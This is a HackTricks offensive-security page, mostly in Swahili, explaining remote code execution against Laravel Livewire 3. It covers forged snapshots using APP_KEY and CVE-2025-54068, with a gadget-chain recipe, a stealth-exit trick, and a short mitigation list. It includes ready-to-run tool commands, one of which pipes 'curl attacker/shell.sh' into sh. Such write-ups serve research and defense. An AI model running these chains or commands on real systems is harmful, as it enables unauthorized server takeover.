Laravel Livewire Hydration & Synthesizer Abuse
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Muhtasari wa mashine ya hali ya Livewire
Komponenti za Livewire 3 hubadilishana hali zao kupitia snapshots ambazo zinajumuisha data, memo, na checksum. Kila POST kwa /livewire/update inafufua snapshot ya JSON upande wa seva na inatekeleza calls/updates zilizo kwenye foleni.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Mtu yeyote anayeimiliki APP_KEY (inayotumika kutoa $hashKey) anaweza kwa hiyo kutengeneza snapshots za namna yoyote kwa kuhesabu tena HMAC.
Mali tata zimepakwa kama synthetic tuples zinazotambuliwa na Livewire\Drawer\BaseUtils::isSyntheticTuple(); kila tuple ni [value, {"s":"<key>", ...meta}]. Msingi wa hydration unawapelekea kila tuple kwa synth iliyochaguliwa katika HandleComponents::$propertySynthesizers na kurudia kwa watoto:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Ubunifu huu wa kurudia unafanya Livewire kuwa mashine ya jumla ya kuanzisha vitu mara mwuaji anapodhibiti ama metadata ya tuple au tuple yoyote iliyopo ndani inayosindikwa wakati wa recursion.
Synthesizers zinazotoa gadget primitives
| Synthesizer | Tabia inayoendeshwa na mwuaji |
|---|---|
CollectionSynth (clctn) | Inaunda mfano wa new $meta['class']($value) baada ya kurehydrate kila mtoto. Darasa lolote lenye constructor ya array linaweza kuanzishwa, na kila kipengee kinaweza kuwa tuple ya synthetic yenyewe. |
FormObjectSynth (form) | Huiita new $meta['class']($component, $path), kisha inateua kila public property kutoka kwa watoto wanaodhibitiwa na mwuaji kupitia $hydrateChild. Constructors zinazoruhusu vigezo viwili visivyoimarishwa (au args za default) zinatosha kufikia public properties yoyote. |
ModelSynth (mdl) | Wakati key haipo kwenye meta inatekeleza return new $class; kuruhusu kuanzishwa bila hoja (zero-argument) ya darasa lolote lililodhibitiwa na mwuaji. |
Kwa sababu synths huuita $hydrateChild kwenye kila elementi iliyoko ndani, grafu za gadget zisizo na kikomo zinaweza kujengwa kwa kupandisha tuples kwa njia ya kurudia.
Forging snapshots when APP_KEY is known
- Rekodi ombi halali la
/livewire/updatena decodecomponents[0].snapshot. - Weka nested tuples zinazoelekeza kwa gadget classes na rudi compute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode snapshot, uache
_token/memobila kuguswa, kisha replay ombi.
Proof of execution ndogo inatumia Guzzle’s FnStream na Flysystem’s ShardedPrefixPublicUrlGenerator. Tuple moja inaunda FnStream na data za constructor { "__toString": "phpinfo" }, nyingine inaunda ShardedPrefixPublicUrlGenerator na [FnStreamInstance] kama $prefixes. Wakati Flysystem inapogeuza kila prefix kuwa string, PHP inaitea callable ya __toString iliyotolewa na mwuaji, ikiwaita functions yoyote bila hoja.
Kutoka kwa function calls hadi RCE kamili
Kwa kutumia primitives za instantiation za Livewire, Synacktiv walibadilisha mlolongo wa phpggc Laravel/RCE4 ili hydration ianze object ambayo hali yake ya public Queueable inachochea deserialization:
- Queueable trait – object yoyote inayotumia
Illuminate\Bus\Queueableinaonyesha public$chainedna inatekelezaunserialize(array_shift($this->chained))katikadispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) inaundwa kupitiaCollectionSynth/FormObjectSynthna public$chainedimejazwa. - phpggc Laravel/RCE4Adapted – blob iliyoserializa iliyohifadhiwa katika
$chained[0]huundaPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()hatimaye inaitacall_user_func_array($closure, $args)kuruhususystem($cmd). - Stealth termination – kwa kumpa callable ya pili ya
FnStreamkama[new Laravel\Prompts\Terminal(), 'exit'], ombi linamalizika kwaexit()badala ya exception inayotoa kelele, zikihifadhi HTTP response safi.
Automating snapshot forgery
synacktiv/laravel-crypto-killer sasa inakuja na mode ya livewire inayosona kila kitu:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Zana inachambua snapshot iliyorekodiwa, inaingiza gadget tuples, inarudisha upya checksum, na inachapisha payload tayari-kutumwa /livewire/update.
CVE-2025-54068 – RCE without APP_KEY
updates zinachanganywa katika component state baada ya snapshot checksum kuthibitishwa. Ikiwa property ndani ya snapshot ni (au inakuwa) synthetic tuple, Livewire inatumia tena meta yake wakati inahydrate attacker-controlled update value:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Pata Livewire component yenye untyped public property (mfano,
public $count;). - Tuma update inayoweka property hiyo kuwa
[]. Snapshot inayofuata sasa inaihifadhi kama[[], {"s": "arr"}]. - Tengeneza payload nyingine ya
updatesambapo property hiyo ina array iliyozama kwa kina inayojumuisha tuples kama[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Wakati wa recursion,
hydrate()inatathmini kila nested child kwa kujitegemea, hivyo synth keys/classes zilizochaguliwa na attacker zinaheshimiwa even though outer tuple na checksum hazikuwahi kubadilika. - Tumia tena primitives za
CollectionSynth/FormObjectSynthkuanzisha Queueable gadget ambayo$chained[0]ina phpggc payload. Livewire inashughulikia forged updates, inaitadispatchNextJobInChain(), na inafikiasystem(<cmd>)bila kujuaAPP_KEY.
Key reasons this works:
updateshazijafunikwa na snapshot checksum.getMetaForPath()inaamini synth metadata ambayo tayari ilikuwepo kwa property hiyo hata kama attacker awali alikuwa ameitia kuwa tuple kupitia weak typing.- Recursion pamoja na weak typing inaruhusu kila nested array kutafsiriwa kama tuple mpya kabisa, hivyo arbitrary synth keys na arbitrary classes hatimaye zinafika hadi hydration.
Livepyre – end-to-end exploitation
Livepyre inautomate zote mbili: APP_KEY-less CVE na signed-snapshot path:
- Fingerprints the deployed Livewire version kwa kuchambua
<script src="/livewire/livewire.js?id=HASH">na kuoanisha hash na releases zilizo vunerable. - Inakusanya baseline snapshots kwa kurudia actions zisizo hatari na kutoa
components[].snapshot. - Inatengeneza ama
updates-only payload (CVE-2025-54068) au forged snapshot (ikiwa APP_KEY inajulikana) inayojumuisha phpggc chain.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check inaendesha jaribio lisilo-haribu, -F inapuuza version gating, -H na -P zinaongeza custom headers au proxies, na --function/--param hubadilisha php function inayoitwa na gadget chain.
Mambo ya kuzingatia kwa ulinzi
- Sasisha kwenye Livewire builds zilizorekebishwa (>= 3.6.4 kulingana na vendor bulletin) na weka vendor patch kwa CVE-2025-54068.
- Epuka weakly typed public properties katika Livewire components; explicit scalar types zinaizuia thamani za property kubadilishwa kuwa arrays/tuples.
- Sajili tu synthesizers unazohitaji kweli na chukulia user-controlled metadata (
$meta['class']) kama isiyoaminika. - Kataa updates zinazobadilisha JSON type ya property (mfano, scalar -> array) isipokuwa imekubaliwa wazi, na re-derive synth metadata badala ya kutumia tena tuples zilizozeeka.
- Zungusha
APP_KEYharaka baada ya disclosure yoyote kwa sababu inaiwezesha offline snapshot forging bila kujali jinsi code-base imepatched.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks

